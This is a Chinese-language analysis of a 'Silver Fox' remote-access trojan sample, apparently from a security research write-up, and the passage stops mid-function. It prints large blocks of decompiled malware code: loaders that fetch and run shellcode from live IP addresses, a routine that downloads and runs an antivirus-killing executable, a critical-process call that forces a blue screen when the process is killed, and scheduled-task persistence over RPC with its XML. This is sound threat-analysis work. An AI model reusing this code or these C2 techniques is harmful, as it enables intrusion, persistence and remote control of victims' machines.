1. 背景
1.1 病毒介绍
银狐病毒自2022年起活跃,主要针对中国用户和企事业单位,尤其是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播,包括伪装为税务、财务相关文件的钓鱼邮件、社交平台的恶意链接,以及利用SEO(搜索引擎优化)确保其钓鱼网站在中国搜索引擎中的排名靠前。此外,银狐还结合恶意广告投放和多次电子邮件钓鱼活动,分发远程管理木马(RATs),以实现对受害者设备的远程控制和数据窃取。
以下为近期捕获到的一起银狐病毒样本,我们对其进行了深入分析。
2. 文件分析
2.1 基本信息
文件名 |
明细查看_Setup.exe |
大小 |
2.67 MB |
操作系统 |
Windows(Vista)[AMD64, 64位, GUI] |
模式 |
32 位 |
类型 |
EXEC |
字节序 |
LE |
MD5 |
1a416558435d62dcca79346e6b839370 |
SHA1 |
039e938f5af45edc168c6aa6ebe450f2bc7eddd7 |
SHA256 |
035d72733b7ef722b7a8c7f067ff558f04c737cf0231aea54a6567a39ef84aea |
2.1.1 程序执行流程
程序执行流程如下,通过多次远程加载shellcode执行远控
2.1.2 初次远程加载shellcode
程序入口为start
其中第一个函数便是用于加载shellcode的
遍历函数数组逐个执行函数
int shellcode_execute_1()
{
int result;
int v1;
int v2;
void (*v3)(void);
unsigned int v4[6];
int v5;
int savedregs;
result = dword_6827D0;
if ( dword_6827D0 )
{
v1 = *(_DWORD *)dword_6827D0;
v2 = 0;
v5 = *(_DWORD *)(dword_6827D0 + 4);
v4[2] = (unsigned int)&savedregs;
v4[1] = (unsigned int)&loc_40508D;
v4[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v4);
if ( v1 > 0 )
{
do
{
v3 = *(void (**)(void))(v5 + 8 * v2++);
dword_6827D4 = v2;
if ( v3 )
v3();
}
while ( v1 > v2 );
}
result = 0;
__writefsdword(0, v4[0]);
}
return result;
}
如下
最后执行用于远程加载shellcode的函数
int sub_65D174()
{
int v1;
_DWORD v2[4];
int (__stdcall *VirtualAlloc)(_DWORD, int, int, int);
void (__stdcall *WSAStartup)(int, int *);
int (__stdcall *socket)(int, int, _DWORD);
int (__stdcall *htons)(int);
void (__stdcall *connect)(int, _WORD *, int);
int (__stdcall *recv)(int, char *, int, _DWORD);
int v9;
int v10;
_WORD v11[2];
int ip_addr;
int (*v13)(void);
int v14;
char v15[8];
char v16[8];
int v17;
int v18;
sub_65D284(v2);
v13 = (int (*)(void))VirtualAlloc(0, 122880, 12288, 64);
v17 = 0;
v10 = 4096;
v9 = 118784;
WSAStartup(514, &v1);
v14 = socket(2, 1, 0);
v11[0] = 2;
v11[1] = htons(8852);
ip_addr = 0xF511FB9C;
connect(v14, v11, 16);
while ( 1 )
{
v18 = recv(v14, (char *)v13 + v17, 4096, 0);
if ( v18 <= 0 )
break;
v17 += v18;
}
strcpy(v16, "hello");
strcpy(v15, "hel1o");
return v13();
}
2.1.3 二次远程加载shellcode
向地址156.251.17.245:8852发送请求远程加载shellcode
然后指针执行shellcode
发现指针unk_3470BD7指向一个pe文件
将其dump下来
2.2 反射加载dll
2.2.1 dll初步分析
发现是一个dll文件
其中这个dll提供了一个导出函数
初步查看似乎是与关闭360相关的
2.2.2 加载函数并进行dll的校验
加载函数
kernel32_dll_str[0] = 'k';
kernel32_dll_str[1] = 'e';
kernel32_dll_str[4] = 'e';
kernel32_dll_str[6] = '3';
kernel32_dll_str[7] = '2';
kernel32_dll_str[8] = '.';
v112 = 0;
VirtualAlloc = 0;
FlushInstructionCache = 0;
GetNativeSystemInfo = 0;
VirtualProtect = 0;
Sleep_1 = 0;
v118 = 0;
kernel32_dll_str[2] = 'r';
kernel32_dll_str[3] = 'n';
kernel32_dll_str[5] = 'l';
kernel32_dll_str[9] = 'd';
kernel32_dll_str[10] = 'l';
kernel32_dll_str[11] = 'l';
qmemcpy(Sleep, "Sleep", 5);
qmemcpy(v106, "VirtualAllocLoadLibraryAVirtualProtect", 38);
qmemcpy(v109, "FlushInstructionCache", 21);
qmemcpy(v107, "GetNativeSystemInfo", 19);
qmemcpy(v108, "RtlAddFunctionTable", 19);
LdrLoadDll = (void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrGetProcedureAddress(v86, v88, v90, v92);
ProcedureAddress = (char *)LdrGetProcedureAddress(v87, v89, v91, v93);
v120 = kernel32_dll_str;
v119[1] = 24;
v119[0] = 24;
v103 = ProcedureAddress;
LdrLoadDll(0, 0, v119, &v97);
v94 = 0xC000C;
v95 = v106;
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))ProcedureAddress)(
v97,
&v94,
0,
&VirtualAlloc);
v94 = 917518;
v95 = &v106[6];
((void (__stdcall *)(int, int *, _DWORD, _DWORD))ProcedureAddress)(v97, &v94, 0, &VirtualProtect);
v94 = 1376277;
v95 = v109;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(int, _DWORD, _DWORD)))ProcedureAddress)(
v97,
&v94,
0,
&FlushInstructionCache);
v94 = 1245203;
v95 = v107;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(char *)))ProcedureAddress)(
v97,
&v94,
0,
&GetNativeSystemInfo);
v94 = 0x50005;
v95 = Sleep;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(unsigned int)))ProcedureAddress)(v97, &v94, 0, &Sleep_1);
v94 = 1245203;
v95 = v108;
((void (__stdcall *)(int, int *, _DWORD, int *))ProcedureAddress)(v97, &v94, 0, &v118);
v94 = 0xC000C;
v95 = &v106[3];
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(int)))ProcedureAddress)(v97, &v94, 0, &v112);
if ( !VirtualAlloc )
return 0;
if ( !VirtualProtect )
return 0;
if ( !Sleep_1 )
return 0;
if ( !FlushInstructionCache )
return 0;
if ( !GetNativeSystemInfo )
return 0;
获取dll中导出函数的地址
int __stdcall LdrGetProcedureAddressForCaller(int a1, int a2, int a3, int a4)
{
void *retaddr;
return ((int (__stdcall *)(int, int, int, int, _DWORD, void *))ntdll_LdrGetProcedureAddressForCaller)(
a1,
a2,
a3,
a4,
0,
retaddr);
}
校验pe结构
str_PE = &a1[*((_DWORD *)a1 + 15)];
if ( *(_DWORD *)str_PE != 'EP' )
return 0;
if ( *((_WORD *)str_PE + 2) != 332 )
return 0;
v10 = *((_DWORD *)str_PE + 14);
if ( (v10 & 1) != 0 )
return 0;
v11 = 0;
v12 = *((unsigned __int16 *)str_PE + 3);
if ( *((_WORD *)str_PE + 3) )
{
v13 = &str_PE[*((unsigned __int16 *)str_PE + 10) + 36];
do
{
if ( *((_DWORD *)v13 + 1) )
v10 = *((_DWORD *)v13 + 1);
v14 = *(_DWORD *)v13 + v10;
if ( v14 <= v11 )
v14 = v11;
v13 += 40;
v11 = v14;
v10 = *((_DWORD *)str_PE + 14);
--v12;
}
while ( v12 );
v8 = a1;
}
经过一系列的自解密后刷新进程的指令缓存
2.2.3 执行dll
然后执行
即在内存中反射加载的dll的DllEntryPoint中的起始部分,生成了一个伪随机数
Dllmain
int __cdecl dllmain_dispatch(HINSTANCE hinstDLL, DWORD fdwReason, void *const lpvReserved)
{
void *v4;
int v5;
int v6;
if ( !fdwReason && dword_1000D168 <= 0 )
return 0;
if ( fdwReason != 1 && fdwReason != 2 )
{
v4 = lpvReserved;
LABEL_9:
v6 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain)(hinstDLL, fdwReason, v4);
v5 = v6;
if ( fdwReason == 1 && !v6 )
{
((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain)(hinstDLL, 0, v4);
((void (__cdecl *)(bool))unk_100077D9)(v4 != 0);
((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain_raw)(hinstDLL, 0, v4);
}
if ( !fdwReason || fdwReason == 3 )
{
v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_crt_dispatch)(hinstDLL, fdwReason, v4);
if ( v5 )
return ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_raw)(hinstDLL, fdwReason, v4);
}
return v5;
}
v4 = lpvReserved;
v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_raw)(hinstDLL, fdwReason, lpvReserved);
if ( v5 )
{
v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_crt_dispatch)(hinstDLL, fdwReason, lpvReserved);
if ( v5 )
goto LABEL_9;
}
return v5;
}
判断自身是否位于C:\\Users\\username\\AppData\\Roaming\\
目录下,如果不在则将自身移动到C:\\Users\\username\\AppData\\Roaming\\
目录下,下并调用ShellExecuteA打开,然后退出程序
int __usercall sub_100020A0@<eax>(int a1@<esi>)
{
bool v1;
int *v3;
_DWORD v4[6];
_DWORD v5[6];
int *v6;
int v7;
int *v8;
const char *v9;
const char *v10;
BOOL v11;
int v12;
int *v13;
unsigned __int8 *v14;
bool v15;
unsigned __int8 v16;
unsigned __int8 v17;
int v18[6];
int v19[6];
_BYTE v20[260];
int v21;
get_path(v18, 26);
v21 = 0;
sub_10001920((int)v19);
LOBYTE(v21) = 1;
v10 = (const char *)sub_100029F0(v19);
v9 = (const char *)sub_100029F0(v18);
sprintf((int)v20, 260, (int)"%s\\%s", v9, v10);
v8 = sub_100018C0(v5);
v13 = sub_100029F0(v8);
v14 = v20;
while ( 1 )
{
v17 = *v14;
v1 = v17 < *(_BYTE *)v13;
if ( v17 != *(_BYTE *)v13 )
break;
if ( !v17 )
goto LABEL_6;
v16 = v14[1];
v1 = v16 < *((_BYTE *)v13 + 1);
if ( v16 != *((_BYTE *)v13 + 1) )
break;
v14 += 2;
v13 = (int *)((char *)v13 + 2);
if ( !v16 )
{
LABEL_6:
v12 = 0;
goto LABEL_8;
}
}
v12 = v1 ? -1 : 1;
LABEL_8:
v7 = v12;
v11 = v12 == 0;
v15 = v12 == 0;
sub_10002A40(v5);
if ( v15 )
{
LOBYTE(v21) = 0;
sub_10002A40(v19);
v21 = -1;
return sub_10002A40(v18);
}
else
{
v6 = sub_100018C0(v4);
v3 = sub_100029F0(v6);
kernel32_CopyFileA(a1, (int)v3, (int)v20, 0);
sub_10002A40(v4);
((void (__stdcall *)(_DWORD, const char *, _BYTE *, _DWORD, _DWORD, int))shell32_ShellExecuteA)(
0,
"open",
v20,
0,
0,
1);
((void (__stdcall *)(_DWORD))ucrtbase_exit)(0);
LOBYTE(v21) = 0;
sub_10002A40(v19);
v21 = -1;
return sub_10002A40(v18);
}
}
然后执行反射加载的dll中的导出函数VFPower
2.2.4 函数VFPower执行流程
2.2.5 远程加载用于强关360的exe
下载了一个名为project的exe
ppResult = 0;
i = 0;
WSAStartup(0x202u, &WSAData);
pHints.ai_flags = 0;
memset(&pHints.ai_addrlen, 0, 16);
pHints.ai_family = 2;
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;
v7 = getaddrinfo("154.37.214.153", "18853", &pHints, &ppResult);
if ( v7 )
{
WSACleanup();
exit(0);
}
for ( i = ppResult; i; i = i->ai_next )
{
s = socket(i->ai_family, i->ai_socktype, i->ai_protocol);
if ( s == -1 )
{
WSACleanup();
exit(0);
}
v7 = connect(s, i->ai_addr, i->ai_addrlen);
if ( v7 != -1 )
break;
closesocket(s);
s = -1;
}
freeaddrinfo(ppResult);
if ( s == -1 )
{
WSACleanup();
exit(0);
}
v8 = 0;
ElementCount = 0;
Size = 4096;
Block = malloc(0x1000u);
while ( 1 )
{
v8 = recv(s, (char *)Block + ElementCount, Size - ElementCount, 0);
if ( v8 <= 0 )
break;
ElementCount += v8;
if ( ElementCount == Size )
{
Size *= 2;
Block = realloc(Block, Size);
}
if ( v8 <= 0 )
goto LABEL_19;
}
if ( v8 )
{
closesocket(s);
WSACleanup();
free(Block);
exit(0);
}
LABEL_19:
closesocket(s);
WSACleanup();
v5 = sub_10001800((int)v4, 26);
v4[7] = v5;
v18 = 0;
sub_100035B0((int)v16, v5, "\\project.exe");
v18 = -1;
sub_10002650(v4);
v0 = (const char *)sub_10002600(v16);
Stream = fopen(v0, "wb");
if ( !Stream )
{
free(Block);
exit(0);
}
v4[6] = fwrite(Block, 1u, ElementCount, Stream);
fclose(Stream);
free(Block);
v1 = (const CHAR *)sub_10002600(v16);
执行它,然后再删除文件
WinExec(v1, 0);
while ( 1 )
{
v2 = (const CHAR *)sub_10002600(v16);
if ( DeleteFileA(v2) )
break;
Sleep(0x3E8u);
}
return sub_10002650(v16);
检测进程函数
char __cdecl CheckProcessExists(int a1)
{
int v2;
int v3;
int v4;
_DWORD v5[9];
_BYTE v6[520];
v4 = ((int (__stdcall *)(int, _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0);
if ( v4 == -1 )
return 0;
v5[0] = 556;
if ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32FirstW)(v4, v5) )
{
do
{
v2 = ((int (__thiscall *)(int))unk_10002890)(a1);
if ( !((int (__cdecl *)(_BYTE *, int))ucrtbase__wcsicmp)(v6, v2) )
{
((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
return 1;
}
}
while ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32NextW)(v4, v5) );
((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
return 0;
}
else
{
v3 = ((int (__cdecl *)(void *, const char *))unk_10003600)(
&msvcp140__cerr_std__3V__basic_ostream_DU__char_traits_D_std___1_A,
"Failed to retrieve first process.");
((void (__thiscall *)(int, void *))msvcp140___5__basic_istream_DU__char_traits_D_std___std__QAEAAV01_P6AAAV01_AAV01__Z_Z)(
v3,
&unk_10003950);
((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
return 0;
}
}
判断360tray.exe是否存在
2.2.6 利用BSOD技术将自身设为系统关键进程
提权并将自己设置为系统关键进程。如果进程被关闭,则会造成蓝屏。
v18 = ((int (__stdcall *)(const wchar_t *))kernel32_LoadLibraryW)(L"ntdll.dll");
RtlAdjustPrivilege = (NTSTATUS (__stdcall *)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)(
v18,
"RtlAdjustPrivilege");
RtlSetProcessIsCritical = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)(
v18,
"RtlSetProcessIsCritical");
v11 = RtlAdjustPrivilege;
RtlAdjustPrivilege(0x14u, 1u, 0, &v31);
v10 = RtlSetProcessIsCritical;
RtlSetProcessIsCritical(1, 0, 0);
((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v3, L"360tray.exe");
v26 |= 0x10u;
v17 = !(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v3)
&& (((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v4, L"360Tray.exe"),
v26 |= 0x20u,
!(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v4));
v22 = v17;
如果进程被关闭,则会造成蓝屏。
2.2.7 rpc维权
利用rpc创建计划任务实现维权。具体手法可以参考文章https://developer.aliyun.com/article/1342895
RPC_BINDING_HANDLE sub_10004C70()
{
RPC_WSTR StringBinding;
RPC_BINDING_HANDLE Binding;
RPC_SECURITY_QOS SecurityQos;
Binding = 0;
memset(&SecurityQos, 0, sizeof(SecurityQos));
if ( RpcStringBindingComposeW(0, L"ncacn_np", (RPC_WSTR)L"localhost", L"\\pipe\\atsvc", 0, &StringBinding) )
return 0;
RpcBindingFromStringBindingW(StringBinding, &Binding);
SecurityQos.Version = 1;
SecurityQos.ImpersonationType = 3;
SecurityQos.Capabilities = 0;
SecurityQos.IdentityTracking = 0;
RpcBindingSetAuthInfoExA(Binding, 0, 6u, 0xAu, 0, 0, &SecurityQos);
RpcStringFreeW(&StringBinding);
return Binding;
}
int __cdecl sub_100070F0(char a1)
{
return ((int (__cdecl *)(_UNKNOWN **, char *, char *))rpcrt4_NdrClientCall2)(
&off_1000A520,
(char *)&unk_1000A5BA + 40,
&a1);
}
内置了一段计划任务相关的xml文档
aXmlVersion10En: ; DATA XREF: .data:off_1000D0C4↓o
text "UTF-16LE", '<?xml version="1.0" encoding="UTF-16"?>',0Ah
text "UTF-16LE", '<Task xmlns="http://schemas.microsoft.com/windows/2'
text "UTF-16LE", '004/02/mit/task">',0Ah
text "UTF-16LE", ' <RegistrationInfo>',0Ah
text "UTF-16LE", ' <Date>2006-11-10T14:29:55.5851926</Date>',0Ah
text "UTF-16LE", ' <Author>Microsoft Corporation</Author>',0Ah
text "UTF-16LE", ' <Description>'
.rdata:10009666 aAdRmsWebDescr:
text "UTF-16LE", '更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败,此作业将提'
text "UTF-16LE", '供凭据提示。</Description>',0Ah
text "UTF-16LE", ' <URI>\WakeUpAndContinueUpdatesde</URI>',0Ah
text "UTF-16LE", ' <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)('
text "UTF-16LE", 'A;;FRFX;;;WD)</SecurityDescriptor>',0Ah
text "UTF-16LE", ' </RegistrationInfo>',0Ah
text "UTF-16LE", ' <Triggers>',0Ah
text "UTF-16LE", ' <LogonTrigger id="06b3f632-87ad-4ac0-9737-48ea5'
text "UTF-16LE", 'ddbaf11">',0Ah
text "UTF-16LE", ' <Enabled>true</Enabled>',0Ah
text "UTF-16LE", ' <Delay>PT30S</Delay>',0Ah
text "UTF-16LE", ' </LogonTrigger>',0Ah
text "UTF-16LE", ' </Triggers>',0Ah
text "UTF-16LE", ' <Principals>',0Ah
text "UTF-16LE", ' <Principal id="AllUsers">',0Ah
text "UTF-16LE", ' <GroupId>S-1-1-0</GroupId>',0Ah
text "UTF-16LE", ' <RunLevel>HighestAvailable</RunLevel>',0Ah
text "UTF-16LE", ' </Principal>',0Ah
text "UTF-16LE", ' </Principals>',0Ah
text "UTF-16LE", ' <Settings>',0Ah
text "UTF-16LE", ' <MultipleInstancesPolicy>Parallel</MultipleInst'
text "UTF-16LE", 'ancesPolicy>',0Ah
text "UTF-16LE", ' <DisallowStartIfOnBatteries>false</DisallowStar'
text "UTF-16LE", 'tIfOnBatteries>',0Ah
text "UTF-16LE", ' <StopIfGoingOnBatteries>false</StopIfGoingOnBat'
text "UTF-16LE", 'teries>',0Ah
text "UTF-16LE", ' <AllowHardTerminate>false</AllowHardTerminate>',0Ah
text "UTF-16LE", ' <StartWhenAvailable>true</StartWhenAvailable>',0Ah
text "UTF-16LE", ' <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetwo'
text "UTF-16LE", 'rkAvailable>',0Ah
text "UTF-16LE", ' <IdleSettings>',0Ah
text "UTF-16LE", ' <StopOnIdleEnd>true</StopOnIdleEnd>',0Ah
text "UTF-16LE", ' <RestartOnIdle>false</RestartOnIdle>',0Ah
text "UTF-16LE", ' </IdleSettings>',0Ah
text "UTF-16LE", ' <AllowStartOnDemand>true</AllowStartOnDemand>',0Ah
text "UTF-16LE", ' <Enabled>true</Enabled>',0Ah
text "UTF-16LE", ' <Hidden>false</Hidden>',0Ah
text "UTF-16LE", ' <RunOnlyIfIdle>false</RunOnlyIfIdle>',0Ah
text "UTF-16LE", ' <DisallowStartOnRemoteAppSession>false</Disallo'
text "UTF-16LE", 'wStartOnRemoteAppSession>',0Ah
text "UTF-16LE", ' <UseUnifiedSchedulingEngine>true</UseUnifiedSch'
text "UTF-16LE", 'edulingEngine>',0Ah
text "UTF-16LE", ' <WakeToRun>false</WakeToRun>',0Ah
text "UTF-16LE", ' <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>',0Ah
text "UTF-16LE", ' <Priority>7</Priority>',0Ah
text "UTF-16LE", ' <RestartOnFailure>',0Ah
text "UTF-16LE", ' <Interval>PT1M</Interval>',0Ah
text "UTF-16LE", ' <Count>16</Count>',0Ah
text "UTF-16LE", ' </RestartOnFailure>',0Ah
text "UTF-16LE", ' </Settings>',0Ah
text "UTF-16LE", ' <Actions Context="AllUsers">',0Ah
text "UTF-16LE", ' <Exec>',0Ah
text "UTF-16LE", ' <Command>5555555555</Command>',0Ah
text "UTF-16LE", ' </Exec>',0Ah
text "UTF-16LE", ' </Actions>',0Ah
text "UTF-16LE", '</Task>',0Ah,0
创建了如下计划任务
2.2.8 第三次远程加载shellcode,执行远控
又从一个新的地址156.251.17.245:18852
远程加载shellcode
{
int (*v1)(void);
int v2;
int v3;
int v4;
int v5;
int v6;
_DWORD *i;
_DWORD *v8;
_BYTE v9[400];
_DWORD v10[8];
v8 = 0;
((void (__stdcall *)(int, _BYTE *))ws2_32_WSAStartup)(514, v9);
v10[0] = 0;
memset(&v10[4], 0, 16);
v10[1] = 2;
v10[2] = 1;
v10[3] = 6;
if ( ((int (__stdcall *)(const char *, const char *, _DWORD *, _DWORD **))ws2_32_getaddrinfo)(
"156.251.17.245",
"18852",
v10,
&v8) )
{
goto LABEL_9;
}
for ( i = v8; i; i = (_DWORD *)i[7] )
{
v6 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))ws2_32_socket)(i[1], i[2], i[3]);
if ( v6 == -1 )
goto LABEL_9;
if ( ((int (__stdcall *)(int, _DWORD, _DWORD))ws2_32_connect)(v6, i[6], i[4]) != -1 )
break;
((void (__stdcall *)(int))ws2_32_closesocket)(v6);
v6 = -1;
}
((void (__stdcall *)(_DWORD *))ws2_32_FreeAddrInfoW)(v8);
if ( v6 == -1 )
{
LABEL_9:
((void (*)(void))ws2_32_WSACleanup)();
return ((int (__stdcall *)(_DWORD))ucrtbase_exit)(0);
}
else
{
v5 = 0;
v4 = 4096;
v2 = ((int (__cdecl *)(int))ucrtbase_malloc)(4096);
while ( 1 )
{
v3 = ((int (__stdcall *)(int, int, int, _DWORD))ws2_32_recv)(v6, v5 + v2, v4 - v5, 0);
if ( v3 <= 0 )
break;
v5 += v3;
if ( v5 == v4 )
{
v4 *= 2;
v2 = ((int (__cdecl *)(int, int))ucrtbase_realloc)(v2, v4);
}
}
if ( v3 )
{
((void (__stdcall *)(int))ws2_32_closesocket)(v6);
((void (*)(void))ws2_32_WSACleanup)();
((void (__cdecl *)(int))ucrtbase_free)(v2);
return ((int (__stdcall *)(_DWORD))ucrtbase_exit)(0);
}
else
{
v1 = (int (*)(void))((int (__stdcall *)(_DWORD, int, int, int))kernel32_VirtualAlloc)(0, v5, 12288, 64);
((void (__cdecl *)(int (*)(void), int, int))memset)(v1, v2, v5);
return v1();
}
}
}
动态加载api
v113[0] = 'k';
v113[1] = 'e';
v113[4] = 'e';
v113[6] = '3';
v113[7] = '2';
v113[8] = '.';
v108 = 0;
VirtualAlloc = 0;
FlushInstructionCache = 0;
GetNativeSystemInfo = 0;
VirtualProtect = 0;
Sleep = 0;
v114 = 0;
v113[2] = 'r';
v113[3] = 'n';
v113[5] = 'l';
v113[9] = 'd';
v113[10] = 'l';
v113[11] = 'l';
qmemcpy(v97, "Sleep", 5);
qmemcpy(v98, "VirtualAllocLoadLibraryAVirtualProtect", 38);
qmemcpy(v105, "FlushInstructionCache", 21);
qmemcpy(v103, "emInfo", sizeof(v103));
qmemcpy(v99, "Ge", sizeof(v99));
v100 = &unk_74614E74;
qmemcpy(v101, "ive", sizeof(v101));
v102 = &unk_74737953;
qmemcpy(v104, "RtlAddFunctionTable", 19);
LdrLoadDll = load((void *)0xBDBF9C13);
LdrGetProcedureAddressForCaller = load((void *)0x5ED941B5);
v116 = v113;
v115[1] = 24;
v115[0] = 24;
v95 = LdrGetProcedureAddressForCaller;
((void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrLoadDll)(0, 0, v115, &v89);
v86 = 786444;
v87 = v98;
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))LdrGetProcedureAddressForCaller)(
v89,
&v86,
0,
&VirtualAlloc);
v86 = 917518;
v87 = &v98[6];
((void (__stdcall *)(int, int *, _DWORD, _DWORD))LdrGetProcedureAddressForCaller)(v89, &v86, 0, &VirtualProtect);
v86 = 1376277;
v87 = v105;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(int, _DWORD, _DWORD)))LdrGetProcedureAddressForCaller)(
v89,
&v86,
0,
&FlushInstructionCache);
v86 = 1245203;
v87 = v99;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(char *)))LdrGetProcedureAddressForCaller)(
v89,
&v86,
0,
&GetNativeSystemInfo);
v86 = 327685;
v87 = v97;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(unsigned int)))LdrGetProcedureAddressForCaller)(
v89,
&v86,
0,
&Sleep);
v86 = 1245203;
v87 = v104;
((void (__stdcall *)(int, int *, _DWORD, int *))LdrGetProcedureAddressForCaller)(v89, &v86, 0, &v114);
v86 = 786444;
v87 = &v98[3];
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(int)))LdrGetProcedureAddressForCaller)(
v89,
&v86,
0,
&v108);
if ( !VirtualAlloc )
return 0;
if ( !VirtualProtect )
return 0;
if ( !Sleep )
return 0;
if ( !FlushInstructionCache )
return 0;
if ( !GetNativeSystemInfo )
return 0;
生成配置信息
int sub_35D29A0()
{
int result;
_DWORD v1[4];
int v2;
int v3;
void *v4;
wchar_t *v5;
if ( !byte_35F4FDC )
{
byte_35F4FDC = 1;
big_to_small((__int16 *)a1Js04t14364o21);
((void (__cdecl *)(void *, _DWORD, int))sub_35DB660)(&unk_35F3A98, 0, 4768);
((void (__cdecl *)(void *, _DWORD, int))sub_35DB660)(&unk_35F4D38, 0, 664);
LOWORD(v1[0]) = 0;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p1:", 0);
v4 = &unk_35F3CB4;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o1:", 0);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"t1:", &dword_35F3CF0);
v4 = &unk_35F3CF4;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p2:", 0);
v4 = &unk_35F3EF2;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o2:", 0);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"t2:", &dword_35F3F30);
v4 = &unk_35F3F34;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p3:", 0);
v4 = &unk_35F4132;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o3:", 0);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"t3:", &dword_35F4170);
v4 = &unk_35F4174;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"dd:", 0);
v4 = &unk_35F41B0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"cl:", 0);
v4 = &unk_35F41EC;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"fz:", 0);
v4 = &unk_35F4250;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"bb:", 0);
v4 = &unk_35F42B4;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
